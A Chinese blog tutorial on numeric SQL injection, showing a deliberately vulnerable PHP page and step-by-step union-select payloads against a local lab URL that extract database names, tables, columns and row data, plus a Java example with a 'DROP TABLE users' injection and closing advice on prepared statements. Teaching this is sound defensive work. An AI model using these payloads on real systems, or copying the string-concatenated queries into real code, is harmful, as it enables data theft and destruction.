SQL注入原理-数值型注入

本文详细解析了如何利用数值型注入漏洞,从测试注入点到查询数据库的各个环节,包括判断字段数量、定位可回显字段,直至揭示数据库名、表名、字段和数据。

        小伙伴们大家好!本期为大家带来的是SQL注入原理-数值型注入的讲解!

目录

SQL注入原理

数值型注入

​编辑

1、测试是否存在注入点

2、判断字段个数

3、找出可以回显的字段

4、查询数据库的信息

        1.查看当前的数据库

        2.查看当前数据库的用户

        3.查看数据库的版本 

        4.查看所有的数据库名

        5.查看数据库下的所有表名

        6.查询表中所有的字段

        7.查询表中的数据

总结


SQL注入原理

        SQL注入的原理是由于后端没有对前端用户输入的数据进行检验与过滤,导致用户输入的SQL语句传入到后端,被后端执行。

数值型注入

        数值型注入顾名思义就是我们前端传入后端的参数是一个数值,比如id值。

比如后端需要根据前端传来的id值进行数据库查询并把结果传给前端进行展示。

源代码:

<?php

    // 连接数据库
    $coon = mysqli_connect("127.0.0.1","root","root","test",3306);
    error_reporting(0);

    if (isset($_GET['id'])) {
        // 接受传来的参数id
        $id = $_GET['id'];
        // 执行的SQL语句
        $sql = "select * from users where id=$id limit 0,1";
        $res = mysqli_query($coon, $sql);
        $row = mysqli_fetch_array($res);

        if ($res) {
            echo "<center></br>";
            echo "<h1>"."username:".$row['username']."</h1>"."<br/>";
            echo "<h1>"."password:".$row['password']."</h1>"."<br/>";
            echo "</center>";
        }else{
            echo "<center></br>";
            echo "<h1>";
            print_r(mysqli_error($coon));
            echo "</h1></center>";
        }
    } else {
        echo "<center>";
        echo "<h1>Please input a value as id!</h1>";
        echo "</center>";
    }

1、测试是否存在注入点

这里我们可以直接传入?id=1,即可得到users表下id=1的数据。 

由于id值是由用户输入的,那我们就可以构造恶意的SQL语句来查询其他的数据。

例如我们输入?id=1 and 1=2

http://127.0.0.1/opsql/sql02.php?id=1 and 1=2

前端什么都没有显示,这就是因为我们输入的“and 1=2”也被传入到了后端,被当成SQL语句去执行,而 1=2 是错误的,所以前端不会显示数据。

当我们输入?id=1 and 1=1 时,页面就能正常回显users表下id值为1 的数据了。

这样即可证明一个网站是否存在SQL注入点。说明后端没有对我们输入的id值进行检验与过滤,使得我们构造的SQL语句被得到了执行。

2、判断字段个数

接下来,我们就是来判断后端在数据库查询时,总共查询了几个字段的数据。

我们通常使用order by 来判断后端进行数据库查询时所查询的字段数。

我们直接构造id值为“?id=1 order by 3

http://127.0.0.1/opsql/sql02.php?id=1 order by 3

        order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。

可以看到,当order by 3时页面正常回显,而当order by 4时页面报错“Unknown column '4' in 'order clause'”。

说明后端数据库查询语句查询的字段数为3个。返回上面查看源代码查询的字段数确实是3个。

3、找出可以回显的字段

构造id值“?id=1 union select 1,2,3”

http://127.0.0.1/opsql/sql02.php?id=1 union select 1,2,3

发现没有显示1,2,3。这是为什么呢?因为后端正常查询了id=1的数据并且前端只显示一条数据的信息。想要得到1,2,3分别能在哪里显示,就必须让后端的查询语句查不到结果,即:让id值为负或者在id=1后添加一个条件“and 1=2”。

这里可以查询的字段,只有第二个跟第三个字段能在前端页面显示。

4、查询数据库的信息

        1.查看当前的数据库

          构造id值“?id=-1 union select 1,database(),3”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,database(),3

         

可以看到当前数据库名为test数据库。 

        2.查看当前数据库的用户

         构造id值“?id=-1 union select 1,user(),3”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,user(),3

        3.查看数据库的版本 

        构造id值“?id=-1 union select 1,version(),3”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,version(),3

        4.查看所有的数据库名

        构造id值“?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata”

因为前端只显示一条数据,而我们想要得到所有的结果就要使用group_concat()函数,group_concat() 可以将我们查询到的数据用“,”拼接起来。

information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

        5.查看数据库下的所有表名

        构造id值“?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='study'”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='study'

        6.查询表中所有的字段

         构造id值“?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='study' and table_name='student'”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='study' and table_name='student'

        7.查询表中的数据

        构造id值“?id=-1 union select 1,group_concat(name),group_concat(age) from study.student”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(name),group_concat(age) from study.student

 

 这样我们就查到了study数据库下student表中的数据信息。

总结

数值型注入的基本流程为:

        先使用and1=2的条件观察页面是否正常回显,如果正常回显则存在注入点,接下开始用order by 来判断后端SQL语句查询字段个数,再检测哪个字段可以被前端页面回显,之后就可以爆数据库、表、字段了,爆出字段就可以直接获取数据了!

数值型 SQL 注入SQL 注入攻击的一种类型。在正常的 SQL 查询中,数值型参数通常是直接作为数字使用,而数值型 SQL 注入就是攻击者利用应用程序对数值型参数过滤不严格的漏洞,通过构造恶意的数值参数来改变原有的 SQL 查询逻辑,以达到绕过认证、执行非法操作(如删除数据、获取敏感信息等)的目的。 以下是一个数值型 SQL 注入的示例,在 Java 代码中,若对数值型参数拼接时未做安全处理,就会引发注入问题: ```java import java.sql.Connection; import java.sql.DriverManager; import java.sql.Statement; public class NumericSQLInjectionExample { public static void main(String[] args) { try { // 假设已经建立了数据库连接 Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "password"); // 攻击者构造的恶意数值参数 String userId = "1; DROP TABLE users--"; String sql = "DELETE FROM orders WHERE user_id = " + userId; Statement stmt = connection.createStatement(); stmt.executeUpdate(sql); // 执行后会删除用户表! } catch (Exception e) { e.printStackTrace(); } } } ``` 在上述示例中,攻击者构造的 `userId` 包含了恶意的 SQL 语句 `; DROP TABLE users--`,由于代码中直接将其拼接进 SQL 查询,导致原有的删除订单记录的 SQL 语句被改变,执行后会删除用户表 [^2]。 防范数值型 SQL 注入的方法主要有以下几点: - **使用预编译语句**:预编译语句会对 SQL 语句的结构和参数进行分离处理,参数会被自动进行转义,从而避免恶意代码的注入。在 Java 中,可以使用 `PreparedStatement` 来实现,示例如下: ```java import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; public class PreventNumericSQLInjection { public static void main(String[] args) { try { // 假设已经建立了数据库连接 Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "password"); String sql = "DELETE FROM orders WHERE user_id = ?"; PreparedStatement pstmt = connection.prepareStatement(sql); // 假设这是正常的用户 ID int userId = 1; pstmt.setInt(1, userId); pstmt.executeUpdate(); } catch (Exception e) { e.printStackTrace(); } } } ``` - **严格的数据验证**:在接收用户输入的数值型参数时,对其进行严格的验证,确保输入的是合法的数值。例如,可以使用正则表达式来验证输入是否为纯数字。 - **最小权限原则**:数据库用户应仅被授予完成其任务所需的最小权限,这样即使发生 SQL 注入攻击,攻击者能够造成的损害也会受到限制。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值